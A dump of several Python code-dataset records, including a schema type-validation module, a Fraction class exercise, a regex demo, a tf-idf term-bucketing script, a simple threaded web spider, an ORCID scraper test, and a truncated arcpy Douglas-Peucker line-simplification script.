__slots__ = ('member',)\n\n def __init__(self, msg, member=None):\n Exception.__init__(self, msg)\n self.member = member\n\n @classmethod\n def _flatten_members(cls, members):\n for submember in members:\n if isinstance(submember, tuple):\n yield from cls._flatten_members(submember)\n else:\n yield submember\n\n @classmethod\n def member_syntax(cls, members):\n if members:\n return ''.join((('.' + x) if isinstance(x, str) else ('[' + repr(x) + ']'))\n for x in cls._flatten_members(members)).lstrip('.')\n return None\n\n @classmethod\n def member_error(cls, type_, value, members, constraint_syntax=None):\n member_syntax = cls.member_syntax(members)\n msg = 'Invalid value ' + repr(value) + \" (type '\" + value.__class__.__name__ + \"')\" + \\\n ((\" for member '\" + member_syntax + \"'\") if member_syntax else '') + \\\n ((\", expected type '\" + type_.type_name + \"'\") if type_ else '') + \\\n ((' [' + constraint_syntax + ']') if constraint_syntax else '')\n return ValidationError(msg, member=member_syntax)\n\n\n# Struct member attributes\nclass StructMemberAttributes(object):\n __slots__ = ('op_eq', 'op_lt', 'op_lte', 'op_gt', 'op_gte',\n 'op_len_eq', 'op_len_lt', 'op_len_lte', 'op_len_gt', 'op_len_gte')\n\n def __init__(self, op_eq=None, op_lt=None, op_lte=None, op_gt=None, op_gte=None,\n op_len_eq=None, op_len_lt=None, op_len_lte=None, op_len_gt=None, op_len_gte=None):\n\n self.op_eq = op_eq\n self.op_lt = op_lt\n self.op_lte = op_lte\n self.op_gt = op_gt\n self.op_gte = op_gte\n self.op_len_eq = op_len_eq\n self.op_len_lt = op_len_lt\n self.op_len_lte = op_len_lte\n self.op_len_gt = op_len_gt\n self.op_len_gte = op_len_gte\n\n @staticmethod\n def _format_float(value):\n return '{0:.6f}'.format(value).rstrip('0').rstrip('.')\n\n def validate(self, value, _member=()):\n if self.op_lt is not None and value >= self.op_lt:\n raise ValidationError.member_error(None, value, _member, constraint_syntax='< ' + self._format_float(self.op_lt))\n if self.op_lte is not None and value > self.op_lte:\n raise ValidationError.member_error(None, value, _member, constraint_syntax='<= ' + self._format_float(self.op_lte))\n if self.op_gt is not None and value <= self.op_gt:\n raise ValidationError.member_error(None, value, _member, constraint_syntax='> ' + self._format_float(self.op_gt))\n if self.op_gte is not None and value < self.op_gte:\n raise ValidationError.member_error(None, value, _member, constraint_syntax='>= ' + self._format_float(self.op_gte))\n if self.op_eq is not None and value != self.op_eq:\n raise ValidationError.member_error(None, value, _member, constraint_syntax='== ' + self._format_float(self.op_eq))\n if self.op_len_lt is not None and len(value) >= self.op_len_lt:\n raise ValidationError.member_error(None, value, _member, constraint_syntax='len < ' + self._format_float(self.op_len_lt))\n if self.op_len_lte is not None and len(value) > self.op_len_lte:\n raise ValidationError.member_error(None, value, _member, constraint_syntax='len <= ' + self._format_float(self.op_len_lte))\n if self.op_len_gt is not None and len(value) <= self.op_len_gt:\n raise ValidationError.member_error(None, value, _member, constraint_syntax='len > ' + self._format_float(self.op_len_gt))\n if self.op_len_gte is not None and len(value) < self.op_len_gte:\n raise ValidationError.member_error(None, value, _member, constraint_syntax='len >= ' + self._format_float(self.op_len_gte))\n if self.op_len_eq is not None and len(value) != self.op_len_eq:\n raise ValidationError.member_error(None, value, _member, constraint_syntax='len == ' + self._format_float(self.op_len_eq))\n\n def validate_attr(self, allow_value=False, allow_length=False):\n if not allow_value:\n if self.op_lt is not None:\n raise AttributeValidationError('< ' + self._format_float(self.op_lt))\n if self.op_lte is not None:\n raise AttributeValidationError('<= ' + self._format_float(self.op_lte))\n if self.op_gt is not None:\n raise AttributeValidationError('> ' + self._format_float(self.op_gt))\n if self.op_gte is not None:\n raise AttributeValidationError('>= ' + self._format_float(self.op_gte))\n if self.op_eq is not None:\n raise AttributeValidationError('== ' + self._format_float(self.op_eq))\n if not allow_length:\n if self.op_len_lt is not None:\n raise AttributeValidationError('len < ' + self._format_float(self.op_len_lt))\n if self.op_len_lte is not None:\n raise AttributeValidationError('len <= ' + self._format_float(self.op_len_lte))\n if self.op_len_gt is not None:\n raise AttributeValidationError('len > ' + self._format_float(self.op_len_gt))\n if self.op_len_gte is not None:\n raise AttributeValidationError('len >= ' + self._format_float(self.op_len_gte))\n if self.op_len_eq is not None:\n raise AttributeValidationError('len == ' + self._format_float(self.op_len_eq))\n\n\n# Typedef type (type plus attributes)\nclass Typedef(object):\n __slots__ = ('type_name', 'type', 'attr', 'doc')\n\n def __init__(self, type_, attr=None, type_name=None, doc=None):\n self.type_name = 'typedef' if type_name is None else type_name\n self.type = type_\n self.attr = attr\n self.doc = [] if doc is None else doc\n\n @staticmethod\n def base_type(type_):\n while isinstance(type_, Typedef):\n type_ = type_.type\n return type_\n\n def validate_attr(self, attr):\n self.type.validate_attr(attr)\n\n def validate(self, value, mode=VALIDATE_DEFAULT, _member=()):\n result = self.type.validate(value, mode, _member)\n if self.attr is not None:\n self.attr.validate(result, _member)\n return result\n\n\n# Struct member\nclass StructMember(object):\n __slots__ = ('name', 'type', 'optional', 'nullable', 'attr', 'doc')\n\n def __init__(self, name, type_, optional=False, nullable=False, attr=None, doc=None):\n self.name = name\n self.type = type_\n self.optional = optional\n self.nullable = nullable\n self.attr = attr\n self.doc = [] if doc is None else doc\n\n\n# Struct type\nclass TypeStruct(object):\n __slots__ = ('type_name', 'union', 'base_types', '_members', 'doc')\n\n def __init__(self, type_name=None, union=False, base_types=None, doc=None):\n self.type_name = ('union' if union else 'struct') if type_name is None else type_name\n self.union = union\n self.base_types = base_types\n self._members = []\n self.doc = [] if doc is None else doc\n\n def members(self, include_base_types=True):\n return iter(self._members) if self.base_types is None or not include_base_types else \\\n chain(chain.from_iterable(Typedef.base_type(base_type).members() for base_type in self.base_types if base_type), self._members)\n\n def add_member(self, name, type_, optional=False, nullable=False, attr=None, doc=None):\n member = StructMember(name, type_, optional or self.union, nullable, attr, doc)\n self._members.append(member)\n return member\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr()\n\n def validate(self, value, mode=VALIDATE_DEFAULT, _member=()):\n\n # Validate and translate the value\n if isinstance(value, dict):\n value_x = value\n elif mode == VALIDATE_QUERY_STRING and value == '':\n value_x = {}\n else:\n raise ValidationError.member_error(self, value, _member)\n\n # Valid union?\n if self.union:\n if len(value_x) != 1:\n raise ValidationError.member_error(self, value, _member)\n\n # Result a copy?\n value_copy = None if mode in IMMUTABLE_VALIDATION_MODES else {}\n\n # Validate all member values\n member_count = 0\n for member in self.members():\n member_name = member.name\n if member_name not in value_x:\n if not member.optional:\n raise ValidationError(\"Required member '\" + ValidationError.member_syntax((_member, member_name)) + \"' missing\")\n continue\n member_count += 1\n member_value = value_x[member_name]\n if member.nullable and (member_value is None or \\\n (mode == VALIDATE_QUERY_STRING and not isinstance(member.type, _TypeString) and member_value == 'null')):\n member_value_x = None\n else:\n member_path = (_member, member_name)\n member_value_x = member.type.validate(member_value, mode, member_path)\n if member.attr is not None:\n member.attr.validate(member_value_x, member_path)\n if value_copy is not None:\n value_copy[member_name] = member_value_x\n\n # Any unknown members?\n if member_count != len(value_x):\n member_set = {member.name for member in self.members()}\n unknown_value_names = [value_name for value_name in value_x.keys() if value_name not in member_set]\n raise ValidationError(\"Unknown member '\" + ValidationError.member_syntax((_member, unknown_value_names[0])) + \"'\")\n\n return value if value_copy is None else value_copy\n\n\n# Array type\nclass TypeArray(object):\n __slots__ = ('type', 'attr')\n\n type_name = 'array'\n\n def __init__(self, type_, attr=None):\n self.type = type_\n self.attr = attr\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr(allow_length=True)\n\n def validate(self, value, mode=VALIDATE_DEFAULT, _member=()):\n\n # Validate and translate the value\n if isinstance(value, list) or isinstance(value, tuple):\n value_x = value\n elif mode == VALIDATE_QUERY_STRING and value == '':\n value_x = []\n else:\n raise ValidationError.member_error(self, value, _member)\n\n # Result a copy?\n value_copy = None if mode in IMMUTABLE_VALIDATION_MODES else []\n\n # Validate the list contents\n ix_array_value = 0\n for array_value in value_x:\n member_path = (_member, ix_array_value)\n array_value_x = self.type.validate(array_value, mode, member_path)\n if self.attr is not None:\n self.attr.validate(array_value_x, member_path)\n if value_copy is not None:\n value_copy.append(array_value_x)\n ix_array_value += 1\n\n return value if value_copy is None else value_copy\n\n\n# Dict type\nclass TypeDict(object):\n __slots__ = ('type', 'attr', 'key_type', 'key_attr')\n\n type_name = 'dict'\n\n def __init__(self, type_, attr=None, key_type=None, key_attr=None):\n self.type = type_\n self.attr = attr\n self.key_type = key_type or TYPE_STRING\n self.key_attr = key_attr\n\n @staticmethod\n def valid_key_type(key_type):\n key_type_base = Typedef.base_type(key_type)\n return isinstance(key_type_base, _TypeString) or isinstance(key_type_base, TypeEnum)\n\n def has_default_key_type(self):\n return isinstance(self.key_type, _TypeString)\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr(allow_length=True)\n\n def validate(self, value, mode=VALIDATE_DEFAULT, _member=()):\n\n # Validate and translate the value\n if isinstance(value, dict):\n value_x = value\n elif mode == VALIDATE_QUERY_STRING and value == '':\n value_x = {}\n else:\n raise ValidationError.member_error(self, value, _member)\n\n # Result a copy?\n value_copy = None if mode in IMMUTABLE_VALIDATION_MODES else {}\n\n # Validate the dict key/value pairs\n for dict_key, dict_value in value_x.items():\n member_path = (_member, dict_key)\n\n # Validate the key\n dict_key_x = self.key_type.validate(dict_key, mode, member_path)\n if self.key_attr is not None:\n self.key_attr.validate(dict_key_x, member_path)\n\n # Validate the value\n dict_value_x = self.type.validate(dict_value, mode, member_path)\n if self.attr is not None:\n self.attr.validate(dict_value_x, member_path)\n\n # Result a copy?\n if value_copy is not None:\n value_copy[dict_key_x] = dict_value_x\n\n return value if value_copy is None else value_copy\n\n\n# Enumeration type\nclass EnumValue(object):\n __slots__ = ('value', 'doc')\n\n def __init__(self, valueString, doc=None):\n self.value = valueString\n self.doc = [] if doc is None else doc\n\n def __eq__(self, other):\n return self.value == other\n\n\nclass TypeEnum(object):\n __slots__ = ('type_name', 'base_types', '_values', 'doc')\n\n def __init__(self, type_name='enum', base_types=None, doc=None):\n self.type_name = type_name\n self.base_types = base_types\n self._values = []\n self.doc = [] if doc is None else doc\n\n def values(self, include_base_types=True):\n return iter(self._values) if self.base_types is None or not include_base_types else \\\n chain(chain.from_iterable(Typedef.base_type(base_type).values() for base_type in self.base_types if base_type), self._values)\n\n def add_value(self, string, doc=None):\n value = EnumValue(string, doc)\n self._values.append(value)\n return value\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr()\n\n def validate(self, value, dummy_mode=VALIDATE_DEFAULT, _member=()):\n\n # Validate the value\n if value not in self.values():\n raise ValidationError.member_error(self, value, _member)\n\n return value\n\n\n# String type\nclass _TypeString(object):\n __slots__ = ()\n\n type_name = 'string'\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr(allow_length=True)\n\n def validate(self, value, dummy_mode=VALIDATE_DEFAULT, _member=()):\n\n # Validate the value\n if not isinstance(value, str):\n raise ValidationError.member_error(self, value, _member)\n\n return value\n\nTYPE_STRING = _TypeString()\n\n\n# Int type\nclass _TypeInt(object):\n __slots__ = ()\n\n type_name = 'int'\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr(allow_value=True)\n\n def validate(self, value, mode=VALIDATE_DEFAULT, _member=()):\n\n # Validate and translate the value\n if isinstance(value, int) and not isinstance(value, bool):\n value_x = value\n elif isinstance(value, (float, Decimal)):\n value_x = int(value)\n if value_x != value:\n raise ValidationError.member_error(self, value, _member)\n elif mode == VALIDATE_QUERY_STRING and isinstance(value, str):\n try:\n value_x = int(value)\n except:\n raise ValidationError.member_error(self, value, _member)\n else:\n raise ValidationError.member_error(self, value, _member)\n\n return value if mode in IMMUTABLE_VALIDATION_MODES else value_x\n\nTYPE_INT = _TypeInt()\n\n\n# Float type\nclass _TypeFloat(object):\n __slots__ = ()\n\n type_name = 'float'\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr(allow_value=True)\n\n def validate(self, value, mode=VALIDATE_DEFAULT, _member=()):\n\n # Validate and translate the value\n if isinstance(value, float):\n value_x = value\n elif isinstance(value, (int, Decimal)) and not isinstance(value, bool):\n value_x = float(value)\n elif mode == VALIDATE_QUERY_STRING and isinstance(value, str):\n try:\n value_x = float(value)\n if isnan(value_x) or isinf(value_x):\n raise ValueError()\n except:\n raise ValidationError.member_error(self, value, _member)\n else:\n raise ValidationError.member_error(self, value, _member)\n\n return value if mode in IMMUTABLE_VALIDATION_MODES else value_x\n\nTYPE_FLOAT = _TypeFloat()\n\n\n# Bool type\nclass _TypeBool(object):\n __slots__ = ()\n\n type_name = 'bool'\n\n VALUES = {\n 'true': True,\n 'false': False\n }\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr()\n\n def validate(self, value, mode=VALIDATE_DEFAULT, _member=()):\n\n # Validate and translate the value\n if isinstance(value, bool):\n return value\n elif mode == VALIDATE_QUERY_STRING and isinstance(value, str):\n try:\n return self.VALUES[value]\n except:\n raise ValidationError.member_error(self, value, _member)\n else:\n raise ValidationError.member_error(self, value, _member)\n\nTYPE_BOOL = _TypeBool()\n\n\n# Uuid type\nclass _TypeUuid(object):\n __slots__ = ()\n\n type_name = 'uuid'\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr()\n\n def validate(self, value, mode=VALIDATE_DEFAULT, _member=()):\n\n # Validate and translate the value\n if isinstance(value, UUID):\n return value\n elif mode not in IMMUTABLE_VALIDATION_MODES and isinstance(value, str):\n try:\n return UUID(value)\n except:\n raise ValidationError.member_error(self, value, _member)\n else:\n raise ValidationError.member_error(self, value, _member)\n\nTYPE_UUID = _TypeUuid()\n\n\n# Date type\nclass _TypeDate(object):\n __slots__ = ()\n\n type_name = 'date'\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr()\n\n def validate(self, value, mode=VALIDATE_DEFAULT, _member=()):\n\n # Validate and translate the value\n if isinstance(value, date):\n return value\n elif mode not in IMMUTABLE_VALIDATION_MODES and isinstance(value, str):\n try:\n return parse_iso8601_date(value)\n except:\n raise ValidationError.member_error(self, value, _member)\n else:\n raise ValidationError.member_error(self, value, _member)\n\nTYPE_DATE = _TypeDate()\n\n\n# Datetime type\nclass _TypeDatetime(object):\n __slots__ = ()\n\n type_name = 'datetime'\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr()\n\n def validate(self, value, mode=VALIDATE_DEFAULT, _member=()):\n\n # Validate and translate the value\n if isinstance(value, datetime):\n # Set a time zone, if necessary\n if mode not in IMMUTABLE_VALIDATION_MODES and value.tzinfo is None:\n return value.replace(tzinfo=TZLOCAL)\n return value\n elif mode not in IMMUTABLE_VALIDATION_MODES and isinstance(value, str):\n try:\n return parse_iso8601_datetime(value)\n except:\n raise ValidationError.member_error(self, value, _member)\n else:\n raise ValidationError.member_error(self, value, _member)\n\nTYPE_DATETIME = _TypeDatetime()\n\n\n# Object type\nclass _TypeObject(object):\n __slots__ = ()\n\n type_name = 'object'\n\n @staticmethod\n def validate_attr(attr):\n attr.validate_attr()\n\n def validate(self, value, mode=VALIDATE_DEFAULT, _member=()): # pylint: disable=unused-argument\n if value is not None:\n return value\n else:\n raise ValidationError.member_error(self, value, _member)\n\nTYPE_OBJECT = _TypeObject()\n","sub_path":"chisel/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":21792,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"499190574","text":"user = int(input())\n\ncount = 0\nfor user in range(user, 2021):\n count += 1\nif count >= 1:\n# Returns how old you are.\n print(\"You are/almost %d years old. Keep Gracing😀\" % (count))\nelse:\n print(\"You have not been born 😅. Pray hard.😂\")\n","sub_path":"Age.py","file_name":"Age.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"499713538","text":"import pytest\nimport requests\nfrom bfex.components.scraper.orcid_scraper import OrcIdScraper\nfrom bfex.components.scraper.scraper_type import ScraperType\n\nbase_url = \"http://orcid.org/\"\n\n\nclass TestOrcIdScraper():\n def test_create__success(self):\n my_scraper = OrcIdScraper(base_url + \"0000-0002-8461-4864\", ScraperType.ORCID)\n assert my_scraper is not None\n assert my_scraper.url == base_url + \"0000-0002-8461-4864\"\n assert my_scraper.type == ScraperType.ORCID\n\n my_scraper.validate_url()\n\n soup = my_scraper.get_content()\n assert soup is not None\n\n scrapps = my_scraper.get_scrapps()\n assert scrapps is not None\n\n def test_create_invalid_url__fail(self):\n my_scraper = OrcIdScraper(\"http://www.assdfghhded.com\", ScraperType.ORCID)\n with pytest.raises(requests.exceptions.ConnectionError):\n my_scraper.get_content()\n","sub_path":"web/test/test_orc_id_scraper.py","file_name":"test_orc_id_scraper.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"30514341","text":"#!/usr/bin/python\n\nimport sys, codecs, pytz, csv, heapq\nimport ujson as json\nimport numpy as np\nfrom datetime import datetime\nfrom collections import Counter\n\ndef load_json(filename):\n\tf = codecs.open(filename, 'rt', 'utf-8')\n\tobj = json.load(f)\n\tf.close()\n\treturn obj\n\ndef get_term_df(tsv_file):\n\t\"\"\"\n\tCalculates inverse document frequency with time bins as \"documents\".\n\tInput:\n\t\ttsv_file - path to tsv file formatted as: term\tunixtime\tcount\n\t\t\t\t\t\t\t assumes the input is sorted according to unixtime.\n\tOutput:\n\t\tterm to idf score dictionary.\n\t\"\"\"\n\tterm2unixtimes = {}\n\twith open(tsv_file2, 'rt') as tsv:\n\t\ttsvin = csv.reader(tsv, delimiter='\\t')\n\t\tfor term, unixtime, _ in tsvin:\n\t\t\ttimes_set = term2unixtimes.get(term, set())\n\t\t\ttimes_set |= set([int(unixtime)])\n\t\t\tterm2unixtimes[term] = times_set\n\tterm2df = dict([(term, len(times_set)) for term, times_set in term2unixtimes.iteritems()])\n\treturn term2df\n\ndef get_term_idf(tsv_file):\n\t\"\"\"\n\tCalculates inverse document frequency with time bins as \"documents\".\n\tInput:\n\t\ttsv_file - path to tsv file formatted as: term\tunixtime\tcount\n\t\t\t\t\t\t\t assumes the input is sorted according to unixtime.\n\tOutput:\n\t\tterm to idf score dictionary.\n\t\"\"\"\n\tterm2unixtimes = {}\n\tglobal_times_set = set()\n\twith open(tsv_file, 'rt') as tsv:\n\t\ttsvin = csv.reader(tsv, delimiter='\\t')\n\t\tfor term, unixtime, _ in tsvin:\n\t\t\ttimes_set = term2unixtimes.get(term, set())\n\t\t\ttimes_set |= set([int(unixtime)])\n\t\t\tterm2unixtimes[term] = times_set\n\t\t\tglobal_times_set |= set([int(unixtime)])\n\tD = float(len(global_times_set))\n\tterm2df = dict([(term, len(times_set)) for term, times_set in term2unixtimes.iteritems()])\n\tterm2idf = dict([(term, np.log(D/df)) for term, df in term2df.iteritems()])\n\treturn (term2idf, term2df)\n\ndef process_top_n(tsv_file, n):\n\t\"\"\"\n\tProcess tsv file formatted as described below and return the top n terms per timestamp according to their count.\n\tInput:\n\t\ttsv_file - path to tsv file formatted as: term\tunixtime\tcount\n\t\t\t\t\t\t\t assumes the input is sorted according to unixtime.\n\t\tn - positive interger representing the number of top terms to return per timestamp.\n\tOutput:\n\t\tList or top n terms per timestamp as list of [term, unixtime, count, rank, count].\n\t\tResults are sorted in ascending order of unixtime and descending order of count.\n\t\"\"\"\n\tresults = []\n\ttime2wordfreq = {} # dictionary of {time: {term: frequency}\n\tterm2unixtimes = {} # dictionary of {term: set(term occurrence times)} used for building document freq stats.\n\twith open(tsv_file, 'rt') as tsv:\n\t\ttsvin = csv.reader(tsv, delimiter='\\t')\n\t\tfor term, unixtime, cnt in tsvin:\n\t\t\tunixtime = int(unixtime)\n\t\t\t# update term count\n\t\t\tterm2cnt = time2wordfreq.get(unixtime, {})\n\t\t\tterm2cnt[term] = int(cnt)\n\t\t\ttime2wordfreq[unixtime] = term2cnt\n\t\t\t# update document count\n\t\t\ttimes_set = term2unixtimes.get(term, set())\n\t\t\ttimes_set |= set([unixtime])\n\t\t\tterm2unixtimes[term] = times_set\n\n\tD = len(time2wordfreq)\n\tterm2df = dict([(term, len(times_set)) for term, times_set in term2unixtimes.iteritems()])\n\tterm2idf = dict([(term, np.log(D/df)) for term, df in term2df.iteritems()])\n\tdf_threshold = D * 0.8\n\n\tsorted_times = sorted(time2wordfreq.keys())\n\tfor unixtime in sorted_times:\n\t\tterm2stats = [(term, cnt, np.log(cnt+1.0)*term2idf[term]) for term, cnt in time2wordfreq[unixtime].iteritems() \\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif term2df[term] < df_threshold]\n\t\ttop_terms = heapq.nlargest(n, term2stats, key=lambda x:x[2]) # top terms by tfidf\n\t\tfor rank, (top_term, top_cnt, top_score) in enumerate(top_terms):\n\t\t\tresults.append([top_term, datetime.fromtimestamp(unixtime, tz=pytz.UTC), top_cnt, rank+1, np.exp(term2idf[top_term])])\n\t\t\t#results.append([top_term, datetime.fromtimestamp(unixtime, tz=pytz.UTC), top_cnt, rank+1, top_score])\n\t\t\t#results.append([top_term, datetime.fromtimestamp(unixtime, tz=pytz.UTC), top_score, rank+1, top_cnt])\n\t\t# TODO: remove this\n\t\ttime2wordfreq[unixtime] = top_terms\n\n\treturn results\n","sub_path":"python/bucket_counts.py","file_name":"bucket_counts.py","file_ext":"py","file_size_in_byte":3924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"562076065","text":"\n\"\"\"\n正则结果Match的使用案例\n\"\"\"\nimport re\n\n# 以下正则分成了两个组, 以小括号为单位\ns = r\"([a-z]+) ([a-z]+)\"\npattern = re.compile(s, re.I) # re.I表示忽略大小写\n\nm = pattern.match(\"Hello wrold wide web\")\nprint(m)\n\n# group(0) 表示返回匹配成功的整个字符串\ns = m.group(0)\nprint(s)\n\n# 表示匹配成功的整个字符串跨度\na = m.span(0)\nprint(a)\n\n# group(1) 表示返回的第一个分组匹配成功的子串\ns1 = m.group(1)\nprint(s1)\n\n# span(1) 返回匹配成功的第一个子串的跨度\na1 = m.span(1)\nprint(a1)\n\n# 等价于m.group(1), m.group(2)...\ns = m.groups()\nprint(s)\n","sub_path":"爬虫/v25.py","file_name":"v25.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"520264015","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n\n\"\"\"\nimport os\nimport sys\nimport time\nimport Queue\nimport urllib\nimport threading\nsys.path.append(\"..\")\nfrom util.log import Log\nfrom util.config import Config\nfrom util.config import project_dir\nfrom util.link_producer import LinkProducer\nfrom util.link_consumer import LinkConsumer\n\n\ncf = Config()\nlog = Log()\nlogger = log.get_logger()\n\nmax_depth = cf.get('max_depth')\ndef main():\n try:\n with open(\"urls.txt\") as f:\n seeds = map(lambda x:x.strip(), f.readlines())\n except IOError:\n logger.error(\"Open file: 'urls.txt' fail\")\n\n task_queue = Queue.Queue()\n data_queue = Queue.Queue()\n for url in seeds:\n task_queue.put(url)\n\n cur_depth = 0\n crawl_timeout = float(cf.get('crawl_timeout'))\n\n thread_count = int(cf.get('thread_count'))\n producers = []\n consumers = []\n for i in range(0, thread_count):\n producer = LinkProducer('Producer', task_queue, data_queue)\n consumer = LinkConsumer('Consumer', data_queue)\n producers.append(producer)\n consumers.append(consumer)\n\n for i in range(0, thread_count):\n producers[i].start()\n consumers[i].start()\n \n for i in range(0, thread_count):\n producers[i].join(crawl_timeout)\n consumers[i].join(crawl_timeout)\n\n\nif __name__ == '__main__':\n main()","sub_path":"v0.2/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"42535368","text":"#Has-a\n\n#numerator - int\n#denominator - int\n\n#Can-do\n\n#add(fraction) output: fraction\n#multiply(fraction) output: fraction\n#reciprocal() output: fraction\n#simplify() output: fraction\ndef gcd(m, n):\n while m % n != 0:\n oldm = m\n oldn = n\n\n m = oldn\n n = oldm % oldn\n\n return n\n\nclass Fraction:\n\n\tdef __init__(self, num, denom):\n\t\tself.numerator = num\n\t\tself.denominator = denom\n\n\tdef add(self, operand):\n\t\tcommonDenom = self.denominator * operand.denominator\n\t\tnewNumerator1 = self.numerator * operand.denominator\n\t\tnewNumerator2 = operand.numerator * self.denominator\n\t\tfinalNumerator = newNumerator1 + newNumerator2\n\t\tanswer = Fraction(finalNumerator, commonDenom)\n\t\treturn answer\n\n\tdef multiply(self, operand):\n\t\treturn Fraction(self.numerator * operand.numerator, self.denominator * operand.denominator)\n\n\tdef reciprocal(self):\n\t\treturn Fraction(self.denominator, self.numerator)\n\n\n\tdef simplify(self):\n\n\t\tcommon = gcd(self.numerator,self.denominator)\n\t\tself.numerator /=common\n\t\tself.denominator /=common\n\n\tdef __str__(self):\n\t\treturn str(self.numerator) + \"/\" + str(self.denominator)\n\n\nf1 = Fraction(2, 3)\nf2 = Fraction(1, 4)\nprint(f1.add(f2))\nprint(f1.multiply(f2))\nprint(f1.reciprocal())\nmyfraction = Fraction(12, 16)\n\nmyfraction = Fraction(12, 16)\nprint(myfraction)\nmyfraction.simplify()\nprint(myfraction)\n","sub_path":"lc101/classBasics/fraction.py","file_name":"fraction.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"421769428","text":"# A Modified Version of the Douglas-Peucker Algorithm for Vertex Weeding According to Z-Values\r\n# From 3.14 Chiyuan Gu& Furui Sun\r\n# FID FID_test_b POINT_Z\r\n# Imports\r\n# -------\r\nimport arcpy\r\nimport os\r\nimport string\r\nimport math\r\nimport sys\r\nfrom operator import itemgetter\r\nfrom arcpy import env\r\n\r\n# Functions\r\n# ---------\r\n# get the transferred x coordinates:distance between points on the same line\r\ndef _gettransferx(pnts,p0):\r\n\tdist = []\r\n\tfor ix in range(len(pnts)):\r\n\t\tpnt0 = pnts[p0]\r\n\t\tpnt1 = pnts[ix]\r\n\t\td = math.sqrt( (pnt1[0]-pnt0[0]) * (pnt1[0]-pnt0[0])+ (pnt1[1]-pnt0[1]) * (pnt1[1]-pnt0[1]))\r\n\t\tdist.append(d)\r\n\treturn dist\r\n\r\n# get the perpendicular distance from the point to the line\r\ndef _perpendicular_distance(xn,yn,xm,ym,x,y):\r\n\tL=math.sqrt((ym-yn)*(ym-yn)+(xm-xn)*(xm-xn))\r\n\tA=(ym-yn)/L\r\n\tB=(xn-xm)/L\r\n\tC=(xm*yn-xn*ym)/L\r\n\td=math.fabs(A*x+B*y+C)\r\n\treturn d\r\n\r\n# use douglas-Peucker algrithom to simplify the data \r\n# pnts is the array of points on the same line\r\ndef _douglaspeucker(pnts,tolerance):\r\n\tmax=0.0\r\n\tt=0\r\n\tfor k in range(1, len(pnts)-1):\r\n\t\tdis=_perpendicular_distance(pnts[0][0],pnts[0][1],pnts[-1][0],pnts[-1][1],pnts[k][0],pnts[k][1])\r\n\t\tif dis>max:\r\n\t\t\tmax=dis\r\n\t\t\tt=k\r\n\tif max>tolerance:\r\n\t\tresults=_douglaspeucker((pnts[:t+1])[:-1],tolerance)+_douglaspeucker(pnts[t:],tolerance)\r\n\telse: \r\n\t\tresults = [pnts[0], pnts[-1]]\r\n\treturn results\r\n\r\n# add a field called \"MARKER\" in the attribute table which helps us mark the reserved points \r\ndef _checkrecordsinfor(inFC,pnts_id,n):\r\n\tfieldList = [\"FID\", \"MARKER\"]\r\n\tcursor = arcpy.UpdateCursor(inFC,fieldList)\r\n\tfor row in cursor:\r\n\t\tfor ix in range(n):\r\n\t\t\tif row.getValue(fieldList[0]) == resulted_pnts_id[ix]:\r\n\t\t\t\trow.setValue(fieldList[-1],1)\r\n\t\t\t\tcursor.updateRow(row)\r\n\tdel cursor\r\n\t\r\n# Set overwrite option\r\n# --------------------\r\narcpy.env.overwriteOutput = True \r\n\r\n# Definition of inputs\r\n# --------------------\r\n# Set environment settings\r\n\r\n# with open(\"E:/Project/Shape/intersections.shp\") as f:\r\n\t# for line in f:\r\n\t\t# drive,path = os.path.splitdrive(line)\r\n\t\t# path,filename = os.path.split(path)\r\n\t\t# print('Drive is %s Path is %s and file is %s' % (drive, path, filename))\r\n\t\t\r\n# env.workspace = arcpy.GetParameterAsText(1)\r\ninFC = arcpy.GetParameterAsText(0)\r\ntmpFCName = \"temp.shp\"\r\n\r\n#outputshapefile\r\noutLocation=arcpy.GetParameterAsText(2)\r\noutFeatureClass = arcpy.GetParameter(3)\r\noutFC = arcpy.GetParameterAsText(2)+ \"\\\\\"+arcpy.GetParameter(3)\r\n\r\ntolerance = arcpy.GetParameter(1)\r\nrows = arcpy.SearchCursor(inFC)\r\neachline=[]\r\npoint_x=[]\r\npoint_y=[]\r\npoint_z=[]\r\nid=[]\r\nline=[]\r\nline_num=[]\r\nx_t=[]\r\ny_t=[]\r\nxy_t=[]\r\nresult=[]\r\npnts_id=[]\r\nresulted_pnts_id=[]\r\n\r\n#read the field data from shapefile\r\nfor row in rows:\r\n\tline.append(row.getValue('FID_test_b'))\r\n\tpoint_x.append(row.getValue('POINT_X'))\r\n\tpoint_y.append(row.getValue('POINT_Y'))\r\n\tpoint_z.append(row.getValue('POINT_Z'))\r\n\tid.append(row.getValue('FID'))\r\nline_num=list(set(line)) #get the number of lines of polygons\r\n\r\nfor t in range(len(line_num)):\r\n\tfor i in range(len(line)):\r\n\t\tif line[i] == line_num[t]:\r\n\t\t\teachline.append([point_x[i],point_y[i],point_z[i],id[i]])# put points on the same line in a list called eachline\r\n\tk=abs((eachline[1][1]-eachline[0][1])/(eachline[1][0]-eachline[0][0]))\r\n\t# if 